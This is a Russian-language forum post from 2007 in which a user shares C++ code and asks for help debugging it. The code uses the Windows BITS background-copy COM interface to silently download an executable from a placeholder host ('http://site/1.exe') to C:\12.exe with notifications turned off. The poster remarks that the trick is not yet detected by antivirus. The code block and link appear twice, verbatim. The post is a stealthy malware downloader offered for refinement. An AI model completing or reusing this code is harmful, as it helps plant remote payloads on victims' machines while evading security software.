Ky3bMu4
17.09.2007, 14:46
Помоему этого ещё никто не делал. :) Вот вроде написал, только gr->ResumeGroup() не хочет S_OK возвращать.А так всё остальное ок и вроде как ещё ничем не палится(если бы палилось, то уже начало бы) .Помогите понять что нитак:
#define _WIN32_WINNT 0x0500
#include "QMGR.h"
#define UNICODE
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment(linker,"/SECTION:.text,EWR")
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
IBackgroundCopyQMgr* man=NULL;
IBackgroundCopyGroup* gr=NULL;
IBackgroundCopyJob1 * jb=(IBackgroundCopyJob1 *)GlobalAlloc(NULL,sizeof(IBackgroundCopyJob1));
FILESETINFO* file=(FILESETINFO*)GlobalAlloc(NULL,sizeof(FILESET INFO));
GUID grID,jbID;
VARIANT* pv=(VARIANT*)GlobalAlloc(NULL,sizeof(VARIANT*));
CoCreateGuid(&grID);
CoCreateGuid(&jbID);
BSTR local = BSTR("C:\\12.exe");
BSTR rem = BSTR("http://site/1.exe");
file->bstrLocalFile=local;
file->bstrRemoteFile=rem;
file->dwSizeHint=10000;
HRESULT h= CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if(SUCCEEDED(h)){
h=CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL,
CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER|CLSCTX_ LOCAL_SERVER,
__uuidof(IBackgroundCopyQMgr),
(void**) &man);
if(SUCCEEDED(h)){
if(man->CreateGroup(grID,&gr)!=S_OK){
MessageBoxA(0,"CrGr","Error!",0);
ExitProcess(0);
}
gr->SetPropA(GROUPPROP_PRIORITY,(VARIANT*)1);
gr->SetPropA(GROUPPROP_PROTOCOLFLAGS ,(VARIANT*)QM_PROTOCOL_HTTP );
gr->SetPropA(GROUPPROP_NOTIFYFLAGS ,(VARIANT*)QM_NOTIFY_DISABLE_NOTIFY);
gr->SetPropA(GROUPPROP_NOTIFYCLSID,(VARIANT*)"1");
gr->SetPropA(GROUPPROP_DISPLAYNAME,(VARIANT*)"123");
gr->SetPropA(GROUPPROP_DESCRIPTION,(VARIANT*)"2");
gr->SetPropA(GROUPPROP_REMOTEUSERID,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_REMOTEUSERPWD ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_LOCALUSERID,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_LOCALUSERPWD,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSSIZE ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSPERCENT ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSTIME,(VARIANT*)NULL);
if(gr->CreateJob(jbID,&jb)!=S_OK){
MessageBoxA(0,"CrJb","Error!",0);
ExitProcess(0);
}
if(jb->AddFiles(0,&file)!=S_OK){
MessageBoxA(0,"AddFiles","Error!",0);
ExitProcess(0);
}
if(gr->ResumeGroup()!=S_OK){
MessageBoxA(0,"Resume","Error!",0);
ExitProcess(0);
}
Sleep(10000); //ламо было заниматься получение статуса и т.д.
}
}
jb->Release();
gr->CancelGroup();
ExitProcess(0);
}
Вот ссылка на msdn: http://msdn2.microsoft.com/en-us/library/aa363139.aspx
#define _WIN32_WINNT 0x0500
#include "QMGR.h"
#define UNICODE
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment(linker,"/SECTION:.text,EWR")
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
IBackgroundCopyQMgr* man=NULL;
IBackgroundCopyGroup* gr=NULL;
IBackgroundCopyJob1 * jb=(IBackgroundCopyJob1 *)GlobalAlloc(NULL,sizeof(IBackgroundCopyJob1));
FILESETINFO* file=(FILESETINFO*)GlobalAlloc(NULL,sizeof(FILESET INFO));
GUID grID,jbID;
VARIANT* pv=(VARIANT*)GlobalAlloc(NULL,sizeof(VARIANT*));
CoCreateGuid(&grID);
CoCreateGuid(&jbID);
BSTR local = BSTR("C:\\12.exe");
BSTR rem = BSTR("http://site/1.exe");
file->bstrLocalFile=local;
file->bstrRemoteFile=rem;
file->dwSizeHint=10000;
HRESULT h= CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if(SUCCEEDED(h)){
h=CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL,
CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER|CLSCTX_ LOCAL_SERVER,
__uuidof(IBackgroundCopyQMgr),
(void**) &man);
if(SUCCEEDED(h)){
if(man->CreateGroup(grID,&gr)!=S_OK){
MessageBoxA(0,"CrGr","Error!",0);
ExitProcess(0);
}
gr->SetPropA(GROUPPROP_PRIORITY,(VARIANT*)1);
gr->SetPropA(GROUPPROP_PROTOCOLFLAGS ,(VARIANT*)QM_PROTOCOL_HTTP );
gr->SetPropA(GROUPPROP_NOTIFYFLAGS ,(VARIANT*)QM_NOTIFY_DISABLE_NOTIFY);
gr->SetPropA(GROUPPROP_NOTIFYCLSID,(VARIANT*)"1");
gr->SetPropA(GROUPPROP_DISPLAYNAME,(VARIANT*)"123");
gr->SetPropA(GROUPPROP_DESCRIPTION,(VARIANT*)"2");
gr->SetPropA(GROUPPROP_REMOTEUSERID,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_REMOTEUSERPWD ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_LOCALUSERID,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_LOCALUSERPWD,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSSIZE ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSPERCENT ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSTIME,(VARIANT*)NULL);
if(gr->CreateJob(jbID,&jb)!=S_OK){
MessageBoxA(0,"CrJb","Error!",0);
ExitProcess(0);
}
if(jb->AddFiles(0,&file)!=S_OK){
MessageBoxA(0,"AddFiles","Error!",0);
ExitProcess(0);
}
if(gr->ResumeGroup()!=S_OK){
MessageBoxA(0,"Resume","Error!",0);
ExitProcess(0);
}
Sleep(10000); //ламо было заниматься получение статуса и т.д.
}
}
jb->Release();
gr->CancelGroup();
ExitProcess(0);
}
Вот ссылка на msdn: http://msdn2.microsoft.com/en-us/library/aa363139.aspx